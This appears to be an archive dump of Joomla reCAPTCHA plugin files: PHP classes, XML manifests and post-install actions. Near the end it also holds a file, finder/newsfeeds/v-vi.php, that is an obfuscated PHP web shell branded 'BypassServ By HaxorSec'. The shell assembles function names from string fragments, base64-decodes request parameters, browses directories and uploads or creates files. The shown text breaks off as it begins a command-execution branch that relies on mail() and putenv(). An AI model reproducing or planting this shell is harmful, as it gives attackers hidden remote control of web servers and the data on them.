				{Recaptcha.create("' . $pubkey . '", "' . $id . '", {theme: "' . $theme . '",' . $this->_getLanguage() . 'tabindex: 0});});');
		}
		else
		{
			// Load callback first for browser compatibility
			JHtml::_('script', 'plg_captcha_recaptcha/recaptcha.min.js', array('version' => 'auto', 'relative' => true));

			$file = 'https://www.google.com/recaptcha/api.js?onload=JoomlaInitReCaptcha2&render=explicit&hl=' . JFactory::getLanguage()->getTag();
			JHtml::_('script', $file);
		}

		return true;
	}

	/**
	 * Gets the challenge HTML
	 *
	 * @param   string  $name   The name of the field. Not Used.
	 * @param   string  $id     The id of the field.
	 * @param   string  $class  The class of the field.
	 *
	 * @return  string  The HTML to be embedded in the form.
	 *
	 * @since  2.5
	 */
	public function onDisplay($name = null, $id = 'dynamic_recaptcha_1', $class = '')
	{
		$dom = new \DOMDocument('1.0', 'UTF-8');
		$ele = $dom->createElement('div');
		$ele->setAttribute('id', $id);

		if ($this->params->get('version', '1.0') === '1.0')
		{
			$ele->setAttribute('class', $class);
		}
		else
		{
			$ele->setAttribute('class', ((trim($class) == '') ? 'g-recaptcha' : ($class . ' g-recaptcha')));
			$ele->setAttribute('data-sitekey', $this->params->get('public_key', ''));
			$ele->setAttribute('data-theme', $this->params->get('theme2', 'light'));
			$ele->setAttribute('data-size', $this->params->get('size', 'normal'));
			$ele->setAttribute('data-tabindex', $this->params->get('tabindex', '0'));
			$ele->setAttribute('data-callback', $this->params->get('callback', ''));
			$ele->setAttribute('data-expired-callback', $this->params->get('expired_callback', ''));
			$ele->setAttribute('data-error-callback', $this->params->get('error_callback', ''));
		}

		$dom->appendChild($ele);
		return $dom->saveHTML($ele);
	}

	/**
	 * Calls an HTTP POST function to verify if the user's guess was correct
	 *
	 * @param   string  $code  Answer provided by user. Not needed for the Recaptcha implementation
	 *
	 * @return  True if the answer is correct, false otherwise
	 *
	 * @since   2.5
	 * @throws  \RuntimeException
	 */
	public function onCheckAnswer($code = null)
	{
		$input      = \JFactory::getApplication()->input;
		$privatekey = $this->params->get('private_key');
		$version    = $this->params->get('version', '1.0');
		$remoteip   = IpHelper::getIp();

		switch ($version)
		{
			case '1.0':
				$challenge = $input->get('recaptcha_challenge_field', '', 'string');
				$response  = $code ? $code : $input->get('recaptcha_response_field', '', 'string');
				$spam      = ($challenge === '' || $response === '');
				break;
			case '2.0':
				// Challenge Not needed in 2.0 but needed for getResponse call
				$challenge = null;
				$response  = $code ? $code : $input->get('g-recaptcha-response', '', 'string');
				$spam      = ($response === '');
				break;
		}

		// Check for Private Key
		if (empty($privatekey))
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY'));
		}

		// Check for IP
		if (empty($remoteip))
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_IP'));
		}

		// Discard spam submissions
		if ($spam)
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION'));
		}

		return $this->getResponse($privatekey, $remoteip, $response, $challenge);
	}

	/**
	 * Get the reCaptcha response.
	 *
	 * @param   string  $privatekey  The private key for authentication.
	 * @param   string  $remoteip    The remote IP of the visitor.
	 * @param   string  $response    The response received from Google.
	 * @param   string  $challenge   The challenge field from the reCaptcha. Only for 1.0
	 *
	 * @return bool True if response is good | False if response is bad.
	 *
	 * @since   3.4
	 * @throws  \RuntimeException
	 */
	private function getResponse($privatekey, $remoteip, $response, $challenge = null)
	{
		$version = $this->params->get('version', '1.0');

		switch ($version)
		{
			case '1.0':
				$response = $this->_recaptcha_http_post(
					'www.google.com', '/recaptcha/api/verify',
					array(
						'privatekey' => $privatekey,
						'remoteip'   => $remoteip,
						'challenge'  => $challenge,
						'response'   => $response
					)
				);

				$answers = explode("\n", $response[1]);

				if (trim($answers[0]) !== 'true')
				{
					// @todo use exceptions here
					$this->_subject->setError(JText::_('PLG_RECAPTCHA_ERROR_' . strtoupper(str_replace('-', '_', $answers[1]))));

					return false;
				}
				break;
			case '2.0':
				$reCaptcha = new \ReCaptcha\ReCaptcha($privatekey, new HttpBridgePostRequestMethod);
				$response = $reCaptcha->verify($response, $remoteip);

				if (!$response->isSuccess())
				{
					foreach ($response->getErrorCodes() as $error)
					{
						throw new \RuntimeException($error);
					}

					return false;
				}
				break;
		}

		return true;
	}

	/**
	 * Encodes the given data into a query string format.
	 *
	 * @param   array  $data  Array of string elements to be encoded
	 *
	 * @return  string  Encoded request
	 *
	 * @since  2.5
	 */
	private function _recaptcha_qsencode($data)
	{
		$req = '';

		foreach ($data as $key => $value)
		{
			$req .= $key . '=' . urlencode(stripslashes($value)) . '&';
		}

		// Cut the last '&'
		$req = rtrim($req, '&');

		return $req;
	}

	/**
	 * Submits an HTTP POST to a reCAPTCHA server.
	 *
	 * @param   string  $host  Host name to POST to.
	 * @param   string  $path  Path on host to POST to.
	 * @param   array   $data  Data to be POSTed.
	 * @param   int     $port  Optional port number on host.
	 *
	 * @return  array   Response
	 *
	 * @since  2.5
	 */
	private function _recaptcha_http_post($host, $path, $data, $port = 80)
	{
		$req = $this->_recaptcha_qsencode($data);

		$http_request  = "POST $path HTTP/1.0\r\n";
		$http_request .= "Host: $host\r\n";
		$http_request .= "Content-Type: application/x-www-form-urlencoded;\r\n";
		$http_request .= "Content-Length: " . strlen($req) . "\r\n";
		$http_request .= "User-Agent: reCAPTCHA/PHP\r\n";
		$http_request .= "\r\n";
		$http_request .= $req;

		$response = '';

		if (($fs = @fsockopen($host, $port, $errno, $errstr, 10)) === false)
		{
			die('Could not open socket');
		}

		fwrite($fs, $http_request);

		while (!feof($fs))
		{
			// One TCP-IP packet
			$response .= fgets($fs, 1160);
		}

		fclose($fs);
		$response = explode("\r\n\r\n", $response, 2);

		return $response;
	}

	/**
	 * Get the language tag or a custom translation
	 *
	 * @return  string
	 *
	 * @since  2.5
	 */
	private function _getLanguage()
	{
		$language = JFactory::getLanguage();

		$tag = explode('-', $language->getTag());
		$tag = $tag[0];
		$available = array('en', 'pt', 'fr', 'de', 'nl', 'ru', 'es', 'tr');

		if (in_array($tag, $available))
		{
			return "lang : '" . $tag . "',";
		}

		// If the default language is not available, let's search for a custom translation
		if ($language->hasKey('PLG_RECAPTCHA_CUSTOM_LANG'))
		{
			$custom[] = 'custom_translations : {';
			$custom[] = "\t" . 'instructions_visual : "' . JText::_('PLG_RECAPTCHA_INSTRUCTIONS_VISUAL') . '",';
			$custom[] = "\t" . 'instructions_audio : "' . JText::_('PLG_RECAPTCHA_INSTRUCTIONS_AUDIO') . '",';
			$custom[] = "\t" . 'play_again : "' . JText::_('PLG_RECAPTCHA_PLAY_AGAIN') . '",';
			$custom[] = "\t" . 'cant_hear_this : "' . JText::_('PLG_RECAPTCHA_CANT_HEAR_THIS') . '",';
			$custom[] = "\t" . 'visual_challenge : "' . JText::_('PLG_RECAPTCHA_VISUAL_CHALLENGE') . '",';
			$custom[] = "\t" . 'audio_challenge : "' . JText::_('PLG_RECAPTCHA_AUDIO_CHALLENGE') . '",';
			$custom[] = "\t" . 'refresh_btn : "' . JText::_('PLG_RECAPTCHA_REFRESH_BTN') . '",';
			$custom[] = "\t" . 'help_btn : "' . JText::_('PLG_RECAPTCHA_HELP_BTN') . '",';
			$custom[] = "\t" . 'incorrect_try_again : "' . JText::_('PLG_RECAPTCHA_INCORRECT_TRY_AGAIN') . '",';
			$custom[] = '},';
			$custom[] = "lang : '" . $tag . "',";

			return implode("\n", $custom);
		}

		// If nothing helps fall back to english
		return '';
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                          captcha/recaptcha/recaptcha.xml                                                                     0000705                 00000007423 15242051520 0012555 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="captcha" method="upgrade">
	<name>plg_captcha_recaptcha</name>
	<version>3.4.0</version>
	<creationDate>December 2011</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<description>PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="recaptcha">recaptcha.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_captcha_recaptcha.ini</language>
		<language tag="en-GB">en-GB.plg_captcha_recaptcha.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="message"
					type="note"
					label="PLG_RECAPTCHA_VERSION_1_WARNING_LABEL"
					showon="version:1.0"
				/>

				<field
					name="version"
					type="list"
					label="PLG_RECAPTCHA_VERSION_LABEL"
					description="PLG_RECAPTCHA_VERSION_DESC"
					default="2.0"
					size="1"
					>
					<option value="1.0">PLG_RECAPTCHA_VERSION_V1</option>
					<option value="2.0">PLG_RECAPTCHA_VERSION_V2</option>
				</field>

				<field
					name="public_key"
					type="text"
					label="PLG_RECAPTCHA_PUBLIC_KEY_LABEL"
					description="PLG_RECAPTCHA_PUBLIC_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="private_key"
					type="text"
					label="PLG_RECAPTCHA_PRIVATE_KEY_LABEL"
					description="PLG_RECAPTCHA_PRIVATE_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="theme"
					type="list"
					label="PLG_RECAPTCHA_THEME_LABEL"
					description="PLG_RECAPTCHA_THEME_DESC"
					default="clean"
					showon="version:1.0"
					filter=""
					>
					<option value="clean">PLG_RECAPTCHA_THEME_CLEAN</option>
					<option value="white">PLG_RECAPTCHA_THEME_WHITE</option>
					<option value="blackglass">PLG_RECAPTCHA_THEME_BLACKGLASS</option>
					<option value="red">PLG_RECAPTCHA_THEME_RED</option>
				</field>

				<field
					name="theme2"
					type="list"
					label="PLG_RECAPTCHA_THEME_LABEL"
					description="PLG_RECAPTCHA_THEME_DESC"
					default="light"
					showon="version:2.0"
					filter=""
					>
					<option value="light">PLG_RECAPTCHA_THEME_LIGHT</option>
					<option value="dark">PLG_RECAPTCHA_THEME_DARK</option>
				</field>

				<field
					name="size"
					type="list"
					label="PLG_RECAPTCHA_SIZE_LABEL"
					description="PLG_RECAPTCHA_SIZE_DESC"
					default="normal"
					showon="version:2.0"
					filter=""
					>
					<option value="normal">PLG_RECAPTCHA_THEME_NORMAL</option>
					<option value="compact">PLG_RECAPTCHA_THEME_COMPACT</option>
				</field>

				<field
					name="tabindex"
					type="number"
					label="PLG_RECAPTCHA_TABINDEX_LABEL"
					description="PLG_RECAPTCHA_TABINDEX_DESC"
					default="0"
					showon="version:2.0"
					min="0"
				/>

				<field
					name="callback"
					type="text"
					label="PLG_RECAPTCHA_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>

				<field
					name="expired_callback"
					type="text"
					label="PLG_RECAPTCHA_EXPIRED_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_EXPIRED_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>

				<field
					name="error_callback"
					type="text"
					label="PLG_RECAPTCHA_ERROR_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_ERROR_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                             captcha/recaptcha/postinstall/actions.php                                                           0000705                 00000003026 15242051520 0014621 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains the functions used by the com_postinstall code to deliver
 * the necessary post-installation messages for the end of life of reCAPTCHA V1.
 */

/**
 * Checks if the plugin is enabled and reCAPTCHA V1 is being used. If true then the
 * message about reCAPTCHA v1 EOL should be displayed.
 *
 * @return  boolean
 *
 * @since  3.8.6
 */
function recaptcha_postinstall_condition()
{
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->select('1')
		->from($db->qn('#__extensions'))
		->where($db->qn('name') . ' = ' . $db->q('plg_captcha_recaptcha'))
		->where($db->qn('enabled') . ' = 1')
		->where($db->qn('params') . ' LIKE ' . $db->q('%1.0%'));
	$db->setQuery($query);
	$enabled_plugins = $db->loadObjectList();

	return count($enabled_plugins) === 1;
}

/**
 * Open the reCAPTCHA plugin so that they can update the settings to V2 and new keys.
 *
 * @return  void
 *
 * @since   3.8.6
 */
function recaptcha_postinstall_action()
{
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->select('extension_id')
		->from($db->qn('#__extensions'))
		->where($db->qn('name') . ' = ' . $db->q('plg_captcha_recaptcha'));
	$db->setQuery($query);
	$e_id = $db->loadResult();

	$url = 'index.php?option=com_plugins&task=plugin.edit&extension_id=' . $e_id;
	JFactory::getApplication()->redirect($url);
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          captcha/recaptcha_invisible/recaptcha_invisible.xml                                                 0000705                 00000005374 15242051520 0016670 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="captcha" method="upgrade">
	<name>plg_captcha_recaptcha_invisible</name>
	<version>3.8</version>
	<creationDate>November 2017</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<description>PLG_CAPTCHA_RECAPTCHA_INVISIBLE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="recaptcha_invisible">recaptcha_invisible.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_captcha_recaptcha_invisible.ini</language>
		<language tag="en-GB">en-GB.plg_captcha_recaptcha_invisible.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">

				<field
					name="public_key"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_PUBLIC_KEY_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_PUBLIC_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="private_key"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_PRIVATE_KEY_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_PRIVATE_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="badge"
					type="list"
					label="PLG_RECAPTCHA_INVISIBLE_BADGE_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_BADGE_DESC"
					default="bottomright"
					>
					<option value="bottomright">PLG_RECAPTCHA_INVISIBLE_BADGE_BOTTOMRIGHT</option>
					<option value="bottomleft">PLG_RECAPTCHA_INVISIBLE_BADGE_BOTTOMLEFT</option>
					<option value="inline">PLG_RECAPTCHA_INVISIBLE_BADGE_INLINE</option>
				</field>

				<field
					name="tabindex"
					type="number"
					label="PLG_RECAPTCHA_INVISIBLE_TABINDEX_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_TABINDEX_DESC"
					default="0"
					min="0"
					filter="integer"
				/>

				<field
					name="callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_CALLBACK_DESC"
					default=""
					filter="string"
				/>

				<field
					name="expired_callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_EXPIRED_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_EXPIRED_CALLBACK_DESC"
					default=""
					filter="string"
				/>

				<field
					name="error_callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_ERROR_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_ERROR_CALLBACK_DESC"
					default=""
					filter="string"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                    captcha/recaptcha_invisible/recaptcha_invisible.php                                                 0000705                 00000012704 15242051520 0016652 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Captcha\Google\HttpBridgePostRequestMethod;
use Joomla\Utilities\IpHelper;

/**
 * Invisible reCAPTCHA Plugin.
 *
 * @since  3.9.0
 */
class PlgCaptchaRecaptcha_Invisible extends \JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_CAPTCHA_RECAPTCHA_INVISIBLE') => array(
				JText::_('PLG_RECAPTCHA_INVISIBLE_PRIVACY_CAPABILITY_IP_ADDRESS'),
			)
		);
	}

	/**
	 * Initialise the captcha
	 *
	 * @param   string  $id  The id of the field.
	 *
	 * @return  boolean	True on success, false otherwise
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	public function onInit($id = 'dynamic_recaptcha_invisible_1')
	{
		$pubkey = $this->params->get('public_key', '');

		if ($pubkey === '')
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_PUBLIC_KEY'));
		}

		// Load callback first for browser compatibility
		\JHtml::_(
			'script',
			'plg_captcha_recaptcha_invisible/recaptcha.min.js',
			array('version' => 'auto', 'relative' => true),
			array('async' => 'async', 'defer' => 'defer')
		);

		// Load Google reCAPTCHA api js
		$file = 'https://www.google.com/recaptcha/api.js'
			. '?onload=JoomlaInitReCaptchaInvisible'
			. '&render=explicit'
			. '&hl=' . \JFactory::getLanguage()->getTag();
		\JHtml::_(
			'script',
			$file,
			array(),
			array('async' => 'async', 'defer' => 'defer')
		);

		return true;
	}

	/**
	 * Gets the challenge HTML
	 *
	 * @param   string  $name   The name of the field. Not Used.
	 * @param   string  $id     The id of the field.
	 * @param   string  $class  The class of the field.
	 *
	 * @return  string  The HTML to be embedded in the form.
	 *
	 * @since  3.9.0
	 */
	public function onDisplay($name = null, $id = 'dynamic_recaptcha_invisible_1', $class = '')
	{
		$dom = new \DOMDocument('1.0', 'UTF-8');
		$ele = $dom->createElement('div');
		$ele->setAttribute('id', $id);
		$ele->setAttribute('class', ((trim($class) == '') ? 'g-recaptcha' : ($class . ' g-recaptcha')));
		$ele->setAttribute('data-sitekey', $this->params->get('public_key', ''));
		$ele->setAttribute('data-badge', $this->params->get('badge', 'bottomright'));
		$ele->setAttribute('data-size', 'invisible');
		$ele->setAttribute('data-tabindex', $this->params->get('tabindex', '0'));
		$ele->setAttribute('data-callback', $this->params->get('callback', ''));
		$ele->setAttribute('data-expired-callback', $this->params->get('expired_callback', ''));
		$ele->setAttribute('data-error-callback', $this->params->get('error_callback', ''));
		$dom->appendChild($ele);

		return $dom->saveHTML($ele);
	}

	/**
	 * Calls an HTTP POST function to verify if the user's guess was correct
	 *
	 * @param   string  $code  Answer provided by user. Not needed for the Recaptcha implementation
	 *
	 * @return  boolean  True if the answer is correct, false otherwise
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	public function onCheckAnswer($code = null)
	{
		$input      = \JFactory::getApplication()->input;
		$privatekey = $this->params->get('private_key');
		$remoteip   = IpHelper::getIp();

		$response  = $input->get('g-recaptcha-response', '', 'string');

		// Check for Private Key
		if (empty($privatekey))
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_PRIVATE_KEY'));
		}

		// Check for IP
		if (empty($remoteip))
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_IP'));
		}

		// Discard spam submissions
		if (trim($response) == '')
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_EMPTY_SOLUTION'));
		}

		return $this->getResponse($privatekey, $remoteip, $response);
	}

	/**
	 * Method to react on the setup of a captcha field. Gives the possibility
	 * to change the field and/or the XML element for the field.
	 *
	 * @param   \Joomla\CMS\Form\Field\CaptchaField  $field    Captcha field instance
	 * @param   \SimpleXMLElement                    $element  XML form definition
	 *
	 * @return void
	 *
	 * @since 3.9.0
	 */
	public function onSetupField(\Joomla\CMS\Form\Field\CaptchaField $field, \SimpleXMLElement $element)
	{
		// Hide the label for the invisible recaptcha type
		$element['hiddenLabel'] = true;
	}

	/**
	 * Get the reCaptcha response.
	 *
	 * @param   string  $privatekey  The private key for authentication.
	 * @param   string  $remoteip    The remote IP of the visitor.
	 * @param   string  $response    The response received from Google.
	 *
	 * @return  boolean  True if response is good | False if response is bad.
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	private function getResponse($privatekey, $remoteip, $response)
	{
		$reCaptcha = new \ReCaptcha\ReCaptcha($privatekey, new HttpBridgePostRequestMethod);
		$response = $reCaptcha->verify($response, $remoteip);

		if (!$response->isSuccess())
		{
			foreach ($response->getErrorCodes() as $error)
			{
				throw new \RuntimeException($error);
			}

			return false;
		}

		return true;
	}
}
                                                            index.html                                                                                          0000705                 00000000037 15242051520 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 finder/newsfeeds/index.html                                                                         0000705                 00000000036 15242051520 0011764 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  finder/newsfeeds/v-vi.php                                                                           0000644                 00000064324 15242051520 0011375 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html>
<html>
<head>
    <title>BypassServ By HaxorSec</title>
    <link href="https://fonts.googleapis.com/css?family=Arial%20Black" rel="stylesheet">
    <style>
    body {
        font-family: 'Arial Black', sans-serif;
        color: #000;
        margin: 0;
        padding: 0;
        background-color: #242222c9;
    }
    .result-box-container {
        position: relative;
        margin-top: 20px;
    }

    .result-box {
        width: 100%;
        height: 200px;
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
        background-color: #f4f4f4;
        overflow: auto;
        box-sizing: border-box;
        font-family: 'Arial Black', sans-serif;
        color: #333;
    }

    .result-box::placeholder {
        color: #999;
    }

    .result-box:focus {
        outline: none;
        border-color: #000000;
    }

    .result-box::-webkit-scrollbar {
        width: 8px;
    }

    .result-box::-webkit-scrollbar-thumb {
        background-color: #000000;
        border-radius: 4px;
    }
    .container {
        max-width: 90%;
        margin: 20px auto;
        padding: 20px;
        background-color: #ffffff;
        border-radius: 44px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    }
    .header {
        text-align: center;
        margin-bottom: 20px;
    }
    .header h1 {
        font-size: 24px;
    }
    .subheader {
        text-align: center;
        margin-bottom: 20px;
    }
    .subheader p {
        font-size: 16px;
        font-style: italic;
    }
    form {
        margin-bottom: 20px;
    }
    form input[type="text"],
    form textarea {
        padding: 8px;
        margin-bottom: 10px;
        border: 1px solid #000;
        border-radius: 3px;
        box-sizing: border-box;
        
    }
    form input[type="submit"] {

        padding: 10px;
        background-color: #000000;
        color: white;
        border: none;
        border-radius: 3px;
        cursor: pointer;
    }
    form input[type="file"] {
        padding: 7px;
        background-color: #000000;
        color: white;
        border: none;
        border-radius: 3px;
        cursor: pointer;
    }
    .result-box {
            width: 100%;
            height: 200px;
            resize: none;
            overflow: auto;
            font-family: 'Arial Black';
            background-color: #f4f4f4;
            padding: 10px;
            border: 1px solid #ddd;
            margin-bottom: 10px;
        }
    form input[type="submit"]:hover {
        background-color: #143015;
    }
    table {
        width: 100%;
        border-collapse: collapse;
        margin-top: 20px;
    }
    th, td {
        padding: 8px;
        text-align: left;
    }
    th {
        background-color: #5c5c5c;
    }
    tr:nth-child(even) {
        background-color: #9c9b9bce;
    }
    .item-name {
        max-width: 200px;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap;
    }
    .size, .date {
        width: 100px;
    }
    .permission {
        font-weight: bold;
        width: 50px;
        text-align: center;
    }
    .writable {
        color: #0db202;
    }
    .not-writable {
        color: #d60909;
    }
textarea[name="file_content"] {
            width: calc(100.9% - 10px);
            margin-bottom: 10px;
            padding: 8px;
            max-height: 500px;
            resize: vertical;
            border: 1px solid #ddd;
            border-radius: 3px;
            font-family: 'Arial Black';
        }
</style>
</head>
<body>
<div class="container">
<?php

$chd = "c"."h"."d"."i"."r";
$expl = "e"."x"."p"."l"."o"."d"."e";
$scd = "s"."c"."a"."n"."d"."i"."r";
$ril = "r"."e"."a"."l"."p"."a"."t"."h";
$st = "s"."t"."a"."t";
$isdir = "i"."s"."_"."d"."i"."r";
$isw = "i"."s"."_"."w"."r"."i"."t"."a"."b"."l"."e";
$mup = "m"."o"."v"."e"."_"."u"."p"."l"."o"."a"."d"."e"."d"."_"."f"."i"."l"."e";
$bs = "b"."a"."s"."e"."n"."a"."m"."e";
$htm = "h"."t"."m"."l"."s"."p"."e"."c"."i"."a"."l"."c"."h"."a"."r"."s";
$fpc = "f"."i"."l"."e"."_"."p"."u"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$mek = "m"."k"."d"."i"."r";
$fgc = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$drnmm = "d"."i"."r"."n"."a"."m"."e";
$unl = "u"."n"."l"."i"."n"."k";
$timezone = date_default_timezone_get();
date_default_timezone_set($timezone);
$rootDirectory = $ril($_SERVER['\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54']);
$scriptDirectory = $drnmm(__FILE__);

function x($b) {

    $be = "ba"."se"."64"."_"."en"."co"."de";
    return $be($b);
}

function y($b) {
    $bd = "ba"."se"."64"."_"."de"."co"."de";
    return $bd($b);
}
echo "<font color='black'>[ Command Bypas Status Wajib ON MAIL PUTENV @ HaxorSec]</font><br>";
if (function_exists('mail')) {
    echo "<font color='black'>[ Function mail() ] :</font><font color='green'> [ ON ]</font><br>";
} else {
    echo "<font color='black'>[ Function mail() ] :<font color='red'> [ OFF ]</font><br>";
}
if (function_exists('putenv')) {
    echo "<font color='black'>[ Function putenv() ] :</font><font color='green'> [ ON ]</font><br>";
} else {
    echo "<font color='black'>[ Function putenv() ] :<font color='red'> [ OFF ]</font><br>";
}
foreach ($_GET as $c => $d) $_GET[$c] = y($d);

$currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
$chd($currentDirectory);

$viewCommandResult = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['fileToUpload'])) {
        $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]);
        if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<hr>File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success<hr>";
        } else {
            echo "<hr>Sorry, there was an error uploading your file.<hr>";
        }
    } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
        $newFolder = $currentDirectory . '/' . $_POST['folder_name'];
        if (!file_exists($newFolder)) {

            $mek($newFolder);
            echo '<hr>Folder created successfully!';
        } else {
            echo '<hr>Error: Folder already exists!';
        }
    } elseif (isset($_POST['file_name'])) {
        $fileName = $_POST['file_name'];
        $newFile = $currentDirectory . '/' . $fileName;
        if (!file_exists($newFile)) {
            if ($fpc($newFile, '') !== false) {
                echo '<hr>File created successfully!';
            } else {
                echo '<hr>Error: Failed to create file!';
            }
        }
    } elseif (isset($_POST['cmd_input'])){
        $p = "p"."u"."t"."e"."n"."v";
        $a = "fi"."le_p"."ut_c"."ont"."e"."nt"."s";
        $m = "m"."a"."i"."l";
        $base = "ba"."se"."64"."_"."de"."co"."de";
        $en = "ba"."se"."64"."_"."en"."co"."de";
        $drnm = "d"."i"."r"."n"."a"."m"."e";
        $currentFilePath = $_SERVER['PHP_SELF'];
        $doc = $_SERVER['DOCUMENT_ROOT'];
        $directoryPath = $drnm($currentFilePath);
        $full = $doc . $directoryPath;
